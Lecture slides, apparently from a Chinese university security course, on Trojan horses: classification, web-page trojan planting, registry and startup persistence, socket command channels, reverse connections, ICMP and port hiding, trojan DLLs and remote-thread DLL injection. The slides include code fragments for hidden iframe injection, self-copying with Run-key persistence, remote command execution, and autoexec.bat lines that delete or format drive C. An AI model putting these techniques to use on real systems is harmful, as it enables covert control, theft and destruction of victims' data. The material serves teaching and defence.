第3章 特洛伊木馬_第1頁
第3章 特洛伊木馬_第2頁
第3章 特洛伊木馬_第3頁
第3章 特洛伊木馬_第4頁
第3章 特洛伊木馬_第5頁
已閱讀5頁,還剩124頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

第三章特洛伊木馬

(Trojanhorse)西安石油大學(xué)孫友倉《特洛伊木馬》電影圖片本章的學(xué)習(xí)目標(biāo)掌握特洛伊木馬的概念了解木馬技術(shù)的發(fā)展趨勢理解木馬的關(guān)鍵技術(shù)掌握木馬攻擊的方法掌握木馬防范方法主要內(nèi)容木馬的介紹定義、分類、進(jìn)展木馬的關(guān)鍵技術(shù)植入技術(shù)通信技術(shù)隱藏技術(shù)木馬實(shí)例BO2K-開源木馬木馬檢測、清除、防范關(guān)鍵技術(shù)、實(shí)用工具、防范怎樣才能使計(jì)算機(jī)更安全?木馬的介紹概念特洛伊木馬(TrojanHorse):是一種與遠(yuǎn)程計(jì)算機(jī)之間建立起連接,使遠(yuǎn)程計(jì)算機(jī)能夠通過網(wǎng)絡(luò)控制用戶計(jì)算機(jī)系統(tǒng)并且可能造成用戶的信息損失、系統(tǒng)損壞甚至癱瘓的程序。木馬的組成硬件:控制端、服務(wù)端、Internet軟件:

控制端程序木馬程序木馬配置程序:設(shè)置木馬程序的端口號、觸發(fā)條件、木馬名稱等,

并使其在服務(wù)端藏得更隱蔽的程序。連接:控制、服務(wù)端IP,控制、服務(wù)端Port基本特征1、隱蔽性是其首要的特征木馬和遠(yuǎn)程控制軟件的最主要區(qū)別,表現(xiàn)在:不產(chǎn)生圖標(biāo)不出現(xiàn)在任務(wù)管理器中。2、它具有自動運(yùn)行性可能潛伏在:啟動配置文件(win.ini,system.ini,winstart.bat等)、啟動組注冊表3、木馬程序具有欺騙性名字方式:字母“l(fā)”與數(shù)字“1”、字母“o”與數(shù)字“0”相同文件名但不同路徑常用圖標(biāo):Zip4、具備自動恢復(fù)功能(高級技術(shù))

現(xiàn)在很多木馬程序中的功能模塊已不再由單一的文件組成,而是將文件分別存儲在不同的地方。這些分散的文件可以相互恢復(fù),以提高存活能力。5、能自動打開特別的端口6、功能的特殊性搜索緩存中的口令、設(shè)置口令、掃描目標(biāo)機(jī)器的IP地址、進(jìn)行鍵盤記錄、遠(yuǎn)程注冊表的操作、以及鎖定鼠標(biāo)等功能7、黑客組織趨于公開化木馬的分類

1、遠(yuǎn)程控制型木馬BO和冰河2、發(fā)送密碼型木馬得到緩存的密碼,將它發(fā)送到指定的E_mail地址。3、鍵盤紀(jì)錄型木馬上線選項(xiàng):知道受害人在線,記錄每一件事;下線選項(xiàng):用戶的每一件事會被記錄并保存在硬盤中等待發(fā)送4、破壞型木馬計(jì)算機(jī)中的信息永遠(yuǎn)不復(fù)存在5、FTP型木馬打開21端口,成為文件服務(wù)器遠(yuǎn)程控制、木馬與病毒木馬和控制軟件目的不同有些木馬具有控制軟件的所有功能是否隱藏木馬和普通病毒傳播性(木馬不如病毒)兩者相互融合木馬程序YAI采用了病毒技術(shù)“紅色代碼”病毒已經(jīng)具有木馬的遠(yuǎn)程控制功能木馬的發(fā)展趨勢

跨平臺性模塊化設(shè)計(jì)更新更強(qiáng)的感染(傳播、植入)模式即時(shí)通知更強(qiáng)更多的功能木馬的關(guān)鍵技術(shù)技術(shù)進(jìn)展歷史上概括為4個(gè)階段:第一階段主要實(shí)現(xiàn)簡單的密碼竊取、發(fā)送等功能,沒有什么特別之處。第二階段在技術(shù)上有了很大的進(jìn)步,主要體現(xiàn)在隱藏、控制等方面。國內(nèi)冰河可以說是這個(gè)階段的典型代表之一。第三階段在數(shù)據(jù)傳遞技術(shù)上做了不小的改進(jìn),出現(xiàn)了基于ICMP協(xié)議的木馬,這種木馬利用ICMP協(xié)議的畸形報(bào)文傳遞數(shù)據(jù),增加了查殺的難度。第四階段在進(jìn)程隱藏方面做了非常大的改動,采用了內(nèi)核插入式的嵌入方式,利用遠(yuǎn)程插入線程技術(shù)嵌入DLL線程,或者掛接PSAPI實(shí)現(xiàn)木馬程序的隱藏。即使在WindowsNT/2K下,這些技術(shù)都達(dá)到了良好的隱藏效果。相信,第五代木馬的技術(shù)更加先進(jìn)。

木馬的關(guān)鍵技術(shù)——植入技術(shù)植入技術(shù)升級植入:打補(bǔ)丁是目前內(nèi)核及功能升級重要途徑。由于升級包發(fā)布途徑不嚴(yán)格且非常復(fù)雜,因此,這將成為傳播木馬的一個(gè)有效途徑。網(wǎng)站(網(wǎng)頁)植入:網(wǎng)站掛馬是傳播木馬的最佳途徑之一。把木馬連接潛入到網(wǎng)站上,當(dāng)用戶訪問該網(wǎng)站時(shí),把木馬自動種植到用戶的計(jì)算機(jī)上。在輔助以附加手段的前提下,該方法也可以實(shí)現(xiàn)定點(diǎn)植入。漏洞植入:木馬通過操作系統(tǒng)的漏洞直接傳播給計(jì)算機(jī),其中間橋梁是諸如局域網(wǎng)、Internet、WiFi、藍(lán)牙、紅外等網(wǎng)絡(luò)連接。U盤植入:木馬先寄宿在計(jì)算機(jī)或U盤上。當(dāng)U盤和計(jì)算機(jī)連接時(shí),相互傳播。該方法利用了U盤介質(zhì)的移動性。程序綁定:傳播木馬的最佳途徑之一。把木馬和常用的共享軟件綁定在一起,當(dāng)用戶下載了免費(fèi)共享軟件并安裝或使用時(shí),木馬就種植到其計(jì)算機(jī)上。網(wǎng)站掛馬網(wǎng)頁掛馬就是攻擊者通過在正常的頁面中(通常是網(wǎng)站的主頁)插入一段代碼。瀏覽者在打開該頁面的時(shí)候,這段代碼被執(zhí)行,然后下載并運(yùn)行某木馬的服務(wù)器端程序,進(jìn)而控制瀏覽者的主機(jī)。存在兩種網(wǎng)頁掛馬方式:傳統(tǒng)的直接掛馬和新的間接掛馬方式。傳統(tǒng)方式黑客直接在被入侵網(wǎng)站上掛馬。影響群體為直接訪問這個(gè)網(wǎng)站的用戶。網(wǎng)頁掛馬的新方式被掛馬網(wǎng)站是第三方知名“統(tǒng)計(jì)網(wǎng)站”編寫的用于收集統(tǒng)計(jì)用戶瀏覽網(wǎng)頁數(shù)據(jù)信息的代碼。黑客正是利用了這些統(tǒng)計(jì)網(wǎng)站進(jìn)行掛馬,從而使得所有使用了該統(tǒng)計(jì)代碼的網(wǎng)站全部都被間接掛馬。網(wǎng)頁掛馬的關(guān)鍵技術(shù)框架掛馬js掛馬圖片偽裝掛馬網(wǎng)絡(luò)釣魚掛馬偽裝掛馬框架掛馬攻擊者利用iframe語句,加載到任意網(wǎng)頁中。是最早也是最有效的的一種網(wǎng)絡(luò)掛馬技術(shù)。代碼如下:<iframe.src=/muma.htmlwidth=0height=0></iframe>原理:在打開插入該句代碼的網(wǎng)頁后,也就打開了/muma.html頁面,但是由于它的長和寬都為“0”,所以很難察覺,非常具有隱蔽性。js掛馬利用js腳本調(diào)用進(jìn)行的網(wǎng)頁掛馬技術(shù)。攻擊者先制作一個(gè).js文件,然后利用js代碼調(diào)用到掛馬的網(wǎng)頁。代碼如下:<script.language=javascript.src=/gm.js></script>原理:/gm.js就是一個(gè)js腳本文件,通過它調(diào)用和執(zhí)行木馬的服務(wù)端。這些js文件一般都可以通過工具生成,攻擊者只需輸入相關(guān)的選項(xiàng)就可以了。圖片偽裝掛馬該技術(shù)用于逃避殺毒監(jiān)視的技術(shù)。攻擊者將類似:/test.htm中的木馬代碼植入到test.gif圖片文件中。代碼:<html><iframe.src="/test.htm"height=0width=0></iframe><imgsrc="/test.jpg"></center></html>原理:當(dāng)用戶打開/test.htm時(shí),顯示給用戶的是/test.jpg,而/test.htm網(wǎng)頁代碼也隨之運(yùn)行。網(wǎng)絡(luò)釣魚掛馬網(wǎng)絡(luò)中最常見的欺騙手段,黑客們利用人們的獵奇、貪心等心理,偽裝構(gòu)造一個(gè)鏈接或者一個(gè)網(wǎng)頁,利用社會工程學(xué)欺騙方法,引誘點(diǎn)擊,當(dāng)用戶打開一個(gè)看似正常的頁面時(shí),網(wǎng)頁代碼隨之運(yùn)行,隱蔽性極高。偽裝掛馬高級欺騙,黑客利用IE或者Fixfox瀏覽器的設(shè)計(jì)缺陷制造的一種高級欺騙技術(shù),當(dāng)用戶訪問木馬頁面時(shí)地址欄顯示或者等用戶信任地址,其實(shí)卻打開了被掛馬的頁面,從而實(shí)現(xiàn)欺騙。代碼如下(在貌似的鏈接上點(diǎn)擊卻打開了):<p><aid="qipian"href=""></a></p><div><ahref=""target="_blank"><table><caption><labelfor="qipian"><ustyle="cursor;pointer;color;blue">IT168安全版塊</u></label></caption></table></a></div>網(wǎng)頁掛馬實(shí)驗(yàn)(實(shí)驗(yàn)六)該掛馬方法利用了MS06-014漏洞。該漏洞是Windows的RDS.DataspaceActiveX實(shí)現(xiàn)上存在漏洞,遠(yuǎn)程攻擊者可能利用此漏洞在獲取主機(jī)的控制。在某些情況下,MDAC所捆綁的RDS.DataspaceActiveX控件無法確保能夠進(jìn)行安全的交互,導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞,成功利用這個(gè)漏洞的攻擊者可以完全控制受影響的系統(tǒng)。[實(shí)驗(yàn)?zāi)康腯通過該實(shí)驗(yàn)掌握網(wǎng)站掛馬的方法。[實(shí)驗(yàn)環(huán)境]Windows2000ProfessionalSP4IIS5.xIE5.x[實(shí)驗(yàn)素材]附書資源目錄experimemt\ms06014實(shí)驗(yàn)準(zhǔn)備如圖,把這些文件用IIS發(fā)布。其中WriteReg.exe可以不發(fā)布。WriteReg.exe和WriteReg.pdf內(nèi)容完全一致,只是擴(kuò)展名不同而已。這樣做的目的是更加便于隱藏。第一步:檢測一下是否存在該漏洞第二步:準(zhǔn)備個(gè)簡單的木馬該程序是個(gè)可執(zhí)行程序,它要被掛到網(wǎng)站上,等著別人來上鉤。其功能是:執(zhí)行后把自己改名字并存儲到System32下;修改注冊表,實(shí)現(xiàn)自加載。第三步:核心程序第四步:進(jìn)一步偽裝第五步:看看效果吧演示過程木馬的關(guān)鍵技術(shù)——自加載技術(shù)系統(tǒng)文件加載1.修改批處理Autoexec.bat(自動批處理,在引導(dǎo)系統(tǒng)時(shí)執(zhí)行)

Winstart.bat(在啟動GUI圖形界面環(huán)境時(shí)執(zhí)行)

Dosstart.bat(在進(jìn)入MS-DOS方式時(shí)執(zhí)行)

2.修改系統(tǒng)配置win.ini文件中的啟動加載項(xiàng):[windwos]段中有如下加載項(xiàng):run=Load=system.ini中的啟動加載項(xiàng):在[BOOT]子項(xiàng)中的“Shell”項(xiàng):shell=3修改注冊表HKEY_CLASSES_ROOT:此處存儲的信息可以確保當(dāng)使用Windows資源管理器打開文件時(shí),將使用正確的應(yīng)用程序打開對應(yīng)的文件類型。HKEY_CURRENT_USER:存放當(dāng)前登錄用戶的有關(guān)信息。用戶文件夾、屏幕顏色和“控制面板”設(shè)置存儲在此處。該信息被稱為用戶配置文件。HKEY_LOCAL_MACHINE:包含針對該計(jì)算機(jī)(對于任何用戶)的配置信息。HKEY_USERS:存放計(jì)算機(jī)上所有用戶的配置文件。HKEY_CURRENT_CONFIG:包含本地計(jì)算機(jī)在系統(tǒng)啟動時(shí)所用的硬件配置文件信息。HKEY_DYN_DATA:記錄系統(tǒng)運(yùn)行時(shí)刻的狀態(tài)。3.1通過注冊表中的Run來啟動

(Run),(RunOnce),(RunOnceEx),(RunServices),(RunServicesOnce)3.2通過文件關(guān)聯(lián)啟動當(dāng)用戶打開了一個(gè)已修改了打開關(guān)聯(lián)的文件時(shí),木馬也就開始了它的運(yùn)作。選擇文件格式中的“打開”、“編輯”、“打印”項(xiàng)目。例如冰河木馬病毒[HKEY_CLASSES_ROOT\txtfile\shell\open\command]中的鍵值“c:\windows\notepad.exe%1”,改為“sysexplr.exe%1”。4.借助自動運(yùn)行功能根目錄下新建一個(gè)Autorun.inf

[autorun]

open=Notepad.exe

5.通過APIHOOK啟動利用經(jīng)常使用的API啟動木馬6.通過VXD啟動寫成Vxd并寫入[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD]7.通過瀏覽網(wǎng)頁啟動利用MIME的漏洞。8.利用Javaapplet等網(wǎng)絡(luò)編程語言啟動9.利用系統(tǒng)自動運(yùn)行的程序例如,ScanDisk等程序,在一定情況下,系統(tǒng)會自動啟動它們。10.由其他進(jìn)程引導(dǎo)例如,采用遠(yuǎn)程線程插入技術(shù)的木馬,當(dāng)宿主程序的進(jìn)程啟動時(shí),木馬就以線程的方式插入其中自動運(yùn)行。木馬的關(guān)鍵技術(shù)——通信技術(shù)Socket技術(shù)通信實(shí)例編程語言選擇以CSocket為基類生成CMySocket類。CMySocket類的功能是用來使本程序變成一個(gè)服務(wù)器程序。自動隱藏//Win9x隱藏技術(shù)

DWORDdwVersion=GetVersion(); //得到操作系統(tǒng)的版本號

if(dwVersion>=0x80000000) //操作系統(tǒng)是Win9x,不是WinNt { typedefDWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD); //定義RegisterServiceProcess()函數(shù)的原型

HINSTANCEhDLL; LPREGISTERSERVICEPROCESSlpRegisterServiceProcess; hDLL=LoadLibrary("KERNEL32.dll"); //加載RegisterServiceProcess()函數(shù)所在的動態(tài)鏈接庫KERNEL32.DLL lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess"); //得到RegisterServiceProcess()函數(shù)的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1); //執(zhí)行RegisterServiceProcess()函數(shù),隱藏本進(jìn)程

FreeLibrary(hDLL); //卸載動態(tài)鏈接庫

}用RegisterServiceProcess函數(shù)實(shí)現(xiàn)后臺服務(wù)進(jìn)程。未公開核心函數(shù),只能到KERNEL32.dll中動態(tài)裝載WinNT\2K下進(jìn)程管理程序可以對后臺進(jìn)程一覽無余,故上述方法不行(怎么實(shí)現(xiàn)?)自動加載木馬的第一次執(zhí)行如何實(shí)現(xiàn)第一次以后的自動加載?注冊表代碼功能:HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\%System%\\Tapi32CopyFile(commandline,SystemPath+"\\Tapi32.exe",FALSE);//將自己拷貝到%System%目錄下,并改名為Tapi32.exe,偽裝起來registry->Open(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");registry->QueryValue(TempPath,"crossbow",&lRegLength);

registry->SetValue(SystemPath+"\\Tapi32.exe","crossbow");Server端功能——命令接收

接下來就是啟動Server端的Socket來接收客戶端的命令。Port777核心代碼:pSocket->Receive(lpBuf,1000); //接收客戶端數(shù)據(jù)

if(strnicmp(lpBuf,"CMD:",4)==0){ ExecuteCommand(lpBuf,FALSE); }//執(zhí)行遠(yuǎn)端應(yīng)用程序

elseif(strnicmp(lpBuf,"!SHUT",5)==0){ SendText("Exitprogram!",pSocket); OnExit(); }//退出木馬程序?qū)⒁獙?shí)現(xiàn)的功能:CMD執(zhí)行應(yīng)用程序!SHUT退出木馬FILEGET獲得遠(yuǎn)端文件EDITCONF編輯配置文件LIST列目錄VIEW察看文件內(nèi)容CDOPEN關(guān)CDCDCLOSE開CDREBOOT重啟遠(yuǎn)端機(jī)器Server端功能——修改配置Autoexec.bat和Config.sys代碼:_chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);_chmod("c:\\config.sys",S_IREAD|S_IWRITE);fwrite(content,sizeof(char),strlen(content),fp);//寫入添加的語句,例如deltree-yC:或者format–qC:Server端功能——實(shí)現(xiàn)list命令CFileFindfinder; BOOLbWorking=finder.FindFile("*.*"); while(bWorking) //循環(huán)得到下一層文件或目錄

{ bWorking=finder.FindNextFile(); if(finder.IsDots()||finder.IsDirectory()){ strResult="Dire:"; }else{ strResult="File:"; } strResult+=finder.GetFileName(); strResult+="\n"; }

SendText(strResult,pSocket); //返回Return_Text變量的內(nèi)容Server端功能——實(shí)現(xiàn)View命令intRead_Num=fread(temp_content,1,300,fp); //從目標(biāo)文件中讀入前300個(gè)字符

while(Read_Num==300) { strResult+=(CString)temp_content; //strResult的內(nèi)容加上剛才的字符

for(inti=0;i<300;i++)temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp); //重復(fù)

};Server端功能——操作硬件mciSendString(“setcdaudiodooropen”,NULL,0,NULL);

//彈出光驅(qū)的托盤mciSendString("Setcdaudiodoorclosedwait",NULL,0,NULL);

//收入光驅(qū)的托盤Server端功能——遠(yuǎn)程reboot//Win9x重啟ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);//操作系統(tǒng)是WinNtOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount=1;tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);Client端功能客戶端的任務(wù)僅僅是發(fā)送命令和接收反饋信息而以。首先,在VisualStudio環(huán)境下新建一個(gè)基于Dialog的應(yīng)用程序;接著,在這個(gè)窗體上放置一些控件。這些控件用于輸入IP,Port,命令以及執(zhí)行某些動作。最后,添加CCommandSocket類(其基類是CSocket類)到當(dāng)前工程,該類用于和Server端通訊。發(fā)送命令的代碼如下:m_ptrComSocket->Send((void*)m_msg,m_msg.GetLength());從服務(wù)器端獲取反饋信息ReceiveResult(m_msg);斷開Socket通訊的代碼如下:m_ptrComSocket->Close();代碼及演示簡單木馬實(shí)驗(yàn)(實(shí)驗(yàn)五)【實(shí)驗(yàn)?zāi)康摹空莆漳抉R病毒的基本原理。【實(shí)驗(yàn)平臺】WindowsXP操作系統(tǒng)VisualStudio6.0編程環(huán)境【實(shí)驗(yàn)步驟】(1)復(fù)制實(shí)驗(yàn)文件到實(shí)驗(yàn)的計(jì)算機(jī)上(源碼位置:附書資源目錄\Experiment\SimpleHorse\)。其中,SocketListener目錄下是木馬Server端源代碼,SocketCommand目錄下是木馬Client端源代碼。(2)用VisualStudio6.0環(huán)境分別編譯這兩部分代碼編譯。(3)運(yùn)行SocketListener應(yīng)用程序,也就是啟動了木馬被控制端。(4)運(yùn)行SocketCommand應(yīng)用程序,也就是啟動了木馬的控制端,可以在控制端執(zhí)行命令來控制被控制端。木馬的關(guān)鍵技術(shù)——隱藏技術(shù)概述木馬為了生存,使用許多技術(shù)隱藏自己的行為(進(jìn)程、連接和端口)。在Windows9X時(shí)代,木馬簡單地注冊為系統(tǒng)進(jìn)程就可以從任務(wù)欄中消失。WindowsXP這種方法遭到了慘敗,注冊為系統(tǒng)進(jìn)程不僅僅能在任務(wù)欄中看到,而且可以直接在Services中控制木馬。使用隱藏窗體或控制臺的方法也不能欺騙無所不見的Administrator用戶。在NT/2K/XP下,Administrator是可以看見所有進(jìn)程的。防火墻和各種網(wǎng)絡(luò)工具的發(fā)展也對木馬提出了進(jìn)一步的考驗(yàn),通信過程容易被發(fā)現(xiàn)。隱藏技術(shù)——反彈式木馬技術(shù)反彈式木馬的原理:利用防火墻對內(nèi)部發(fā)起的連接請求無條件信任的特點(diǎn),假冒是系統(tǒng)的合法網(wǎng)絡(luò)請求來取得對外的端口,再通過某些方式連接到木馬的客戶端,從而竊取用戶計(jì)算機(jī)的資料同時(shí)遙控計(jì)算機(jī)本身。反彈式木馬訪問客戶端的80端口,防火墻無法限制。例如,“網(wǎng)絡(luò)神偷”防范:使用個(gè)人防火墻,其采用獨(dú)特的“內(nèi)墻”方式應(yīng)用程序訪問網(wǎng)絡(luò)規(guī)則。隱藏技術(shù)——用ICMP方法隱藏連接TCPUDP木馬的弱點(diǎn):等待和運(yùn)行的過程中,始終有一個(gè)和外界聯(lián)系的端口打開著。原理:由于ICMP報(bào)文是由系統(tǒng)內(nèi)核或進(jìn)程直接處理而不是通過端口,這就給木馬一個(gè)擺脫端口的絕好機(jī)會。木馬將自己偽裝成一個(gè)Ping的進(jìn)程,系統(tǒng)就會將ICMP_ECHOREPLY(Ping的回包)的監(jiān)聽、處理權(quán)交給木馬進(jìn)程。一旦事先約定好的ICMP_ECHOREPLY包出現(xiàn)(可以判斷包大小、ICMP_SEQ等特征),木馬就會接受、分析并從報(bào)文中解碼出命令和數(shù)據(jù)。即使防火墻過濾ICMP報(bào)文,一般也不過濾ICMP_ECHOREPLY包,否則就不能進(jìn)行Ping操作了。因此,具有對于防火墻和網(wǎng)關(guān)的穿透能力。隱藏技術(shù)——隱藏端口為了隱藏端口,采用兩種思路:寄生和潛伏寄生就是找一個(gè)已經(jīng)打開的端口,寄生其上,平時(shí)只是監(jiān)聽,遇到特殊的指令就進(jìn)行解釋執(zhí)行。潛伏是說使用IP協(xié)議族中的其它協(xié)議而不是TCP或UDP來進(jìn)行通訊,從而瞞過Netstat和端口掃描軟件。一種比較常見的潛伏手段是使用ICMP協(xié)議。其他方法:對網(wǎng)卡或Modem進(jìn)行底層的編程。隱藏技術(shù)——NT進(jìn)程的隱藏進(jìn)程和端口聯(lián)系在一起的方法很常見。因此,需要隱藏進(jìn)程來達(dá)到隱藏木馬的目的。實(shí)現(xiàn)進(jìn)程隱藏有兩種思路:第一是讓系統(tǒng)管理員看不見(或者視而不見)你的進(jìn)程;第二是不使用進(jìn)程。能否使用第一種方式?在Windows中有多種方法能夠看到進(jìn)程的存在:PSAPI(ProcessStatusAPI);PDH(PerformanceDataHelper);ToolHelpAPI。如果我們能夠欺騙用戶和入侵檢測軟件用來查看進(jìn)程的函數(shù)(例如截獲相應(yīng)的API調(diào)用,替換返回的數(shù)據(jù)),我們就完全能實(shí)現(xiàn)進(jìn)程隱藏。但是存在兩個(gè)難題:一來我們并不知道用戶和入侵軟件使用的是什么方法來查看進(jìn)程列表;二來我們有權(quán)限和技術(shù)實(shí)現(xiàn)這樣的欺騙。用欺騙的方法隱藏進(jìn)程示例修改任務(wù)管理器的顯示顯示控件和窗口用Spy++獲知窗口:32770控件:Syslistview32演示代碼:guangpan\news\hooklist使用第二種方式最流行。DLL是Windows系統(tǒng)的另一種“可執(zhí)行文件”。DLL文件是Windows的基礎(chǔ),因?yàn)樗械腁PI函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL文件沒有程序邏輯,是由多個(gè)功能函數(shù)構(gòu)成,它并不能獨(dú)立運(yùn)行,一般都是由進(jìn)程加載并調(diào)用的。假設(shè)我們編寫了一個(gè)木馬DLL,并且通過別的進(jìn)程來運(yùn)行它,那么無論是入侵檢測軟件還是進(jìn)程列表中,都只會出現(xiàn)那個(gè)進(jìn)程而并不會出現(xiàn)木馬DLL,如果那個(gè)進(jìn)程是可信進(jìn)程,(例如資源管理器Explorer.exe,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個(gè)進(jìn)程的一部分,也將成為被信賴的一員而為所欲為。用DLL實(shí)現(xiàn)木馬功能 用DLL實(shí)現(xiàn)木馬功能,然后,用其他程序啟動該DLL.有三種方式:最簡單的方式——RUNDLL32特洛伊DLL線程插入技術(shù)最簡單的方式——RUNDLL32Rundll32DllFileNameFuncNameRundll32.exeMyDll.dllMyFunc程序演示(參見:..\othercode\testdll)比較高級的方式-特洛伊DLL

特洛伊DLL(欺騙DLL)的工作原理是使用欺騙DLL替換常用的DLL文件,通過函數(shù)轉(zhuǎn)發(fā)器將正常的調(diào)用轉(zhuǎn)發(fā)給原DLL,截獲并處理特定的消息。函數(shù)轉(zhuǎn)發(fā)器forward的認(rèn)識。VisualStudio7命令提示符>dumpBin-Exportsc:\windows\system32\Kernel32.dll|more演示程序?qū)崿F(xiàn)//FunctionforwarderstofunctionsinDllWork#pragmacomment(linker,"/export:ForwardFunc=Kernel32.HeapCreate")演示(參見:..\othercode\testdll源代碼)實(shí)現(xiàn)描述我們知道WINDOWS的Socket1.x的函數(shù)都是存放在wsock32.dll中的,那么我們自己寫一個(gè)wsock32.dll文件,替換掉原先的wsock32.dll(將原先的DLL文件重命名為wsockold.dll)我們的wsock32.dll只做兩件事,一是如果遇到不認(rèn)識的調(diào)用,就直接轉(zhuǎn)發(fā)給wsockold.dll(使用函數(shù)轉(zhuǎn)發(fā)器forward);二是遇到特殊的請求(事先約定的)就解碼并處理。特洛伊DLL的弱點(diǎn):system32目錄下有一個(gè)dllcache的目錄,這個(gè)目錄中存放著大量的DLL文件,一旦操作系統(tǒng)發(fā)現(xiàn)被保護(hù)的DLL文件被篡改(數(shù)字簽名技術(shù)),它就會自動從dllcache中恢復(fù)這個(gè)文件。有些方法可以繞過dllcache的保護(hù):先更改dllcache目錄中的備份再修改DLL文件利用KnownDLLs鍵值更改DLL的默認(rèn)啟動路徑等同時(shí)特洛伊DLL方法本身也有一些漏洞(例如修復(fù)安裝、安裝補(bǔ)丁、升級系統(tǒng)、檢查數(shù)字簽名等方法都有可能導(dǎo)致特洛伊DLL失效),所以這個(gè)方法也不能算是DLL木馬的最優(yōu)選擇。最高級方式——?jiǎng)討B(tài)嵌入技術(shù)DLL木馬的最高境界是動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運(yùn)行的進(jìn)程中的技術(shù)。多種嵌入方式:窗口Hook、掛接API、遠(yuǎn)程線程。隱藏技術(shù)——遠(yuǎn)程線程技術(shù)遠(yuǎn)程線程技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。通過CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,新線程同樣可以共享遠(yuǎn)程進(jìn)程的地址空間。HANDLECreateRemoteThread(HANDLEhProcess,PSECURITY_ATTRIBUTESpsa,DWORDdwStackSize,PTHREAD_START_ROUTINEpfnStartAddr,PVOIDpvParam,DWORDfdwCreate,PDWORDpdwThreadId);一個(gè)地址DWORDWINAPIThreadFunc(PVOIDpvParam);HINSTANCELoadLibrary(PCTSTRpszLibFile);兩個(gè)函數(shù)非常類似需解決的問題:第一個(gè)問題,獲取LoadLibrary的實(shí)際地址。PTHREAD_START_ROUTINEpfnThreadRtn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");第二個(gè)問題,把DLL路徑名字符串放入宿主進(jìn)程。使用:VirtualAllocEx,VirtualFreeEx,ReadProcessMemory,WriteProcessMemory等函數(shù)。操作步驟做一個(gè)歸納:1)使用VirtualAllocEx函數(shù),分配遠(yuǎn)程進(jìn)程的地址空間中的內(nèi)存。2)使用WriteProcessMemory函數(shù),將DLL的路徑名拷貝到第一個(gè)步驟中已經(jīng)分配的內(nèi)存中。3)使用GetProcAddress函數(shù),獲取LoadLibraryA或LoadLibratyW函數(shù)的實(shí)地址(在Kernel32.dll中)。4)使用CreateRemoteThread函數(shù),在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程,它調(diào)用正確的LoadLibrary函數(shù),為它傳遞第一個(gè)步驟中分配的內(nèi)存的地址。5)使用VirtualFreeEx函數(shù),釋放第一個(gè)步驟中分配的內(nèi)存。6)使用GetProcAddress函數(shù),獲得FreeLibrary函數(shù)的實(shí)地址(在Kernel32.dll中)。7)使用CreateRemoteThread函數(shù),在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程,它調(diào)用FreeLibrary函數(shù),傳遞遠(yuǎn)程DLL的HINSTANCE??创a及演示(參見:..\othercode\injlib和Imgwalk)木馬的關(guān)鍵技術(shù)——其他技術(shù)遠(yuǎn)程屏幕抓取如果鍵盤和鼠標(biāo)事件記錄不能滿意時(shí),需要抓取被控制端屏幕,形成一個(gè)位圖文件,然后把該文件發(fā)送到控制端計(jì)算機(jī)顯示出來。輸入設(shè)備控制通過網(wǎng)絡(luò)控制目標(biāo)機(jī)的鼠標(biāo)和鍵盤,以達(dá)到模擬鼠標(biāo)和鍵盤的功能。使用技術(shù):Keybd_event,mouse_event//模擬A鍵按鍵過程keybd_event(65,0,0,0);keybd_event(65,0,KEYEVENTF_KEYUP,0);//模擬按下左鍵GetCursorPos(&lpPoint);SetCursorPos(lpPoint.x,lpPoint.y);mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);遠(yuǎn)程文件管理操作目標(biāo)機(jī)文件的方式通常有兩種:一種是共享目標(biāo)機(jī)的硬盤,進(jìn)行任意的文件操作;另一種是把自己的計(jì)算機(jī)配置為FTP(FileTransferProtocol,文件傳輸協(xié)議)服務(wù)器。使用函數(shù)CInternetSessionGetFtpConnectionGetFilePutFile共享硬盤數(shù)據(jù)Windows2000/NT/XP: [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\lanmanserver\Shares]Windows9x:[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan]"Flags"

//類型"Path"

//目錄"Remark"

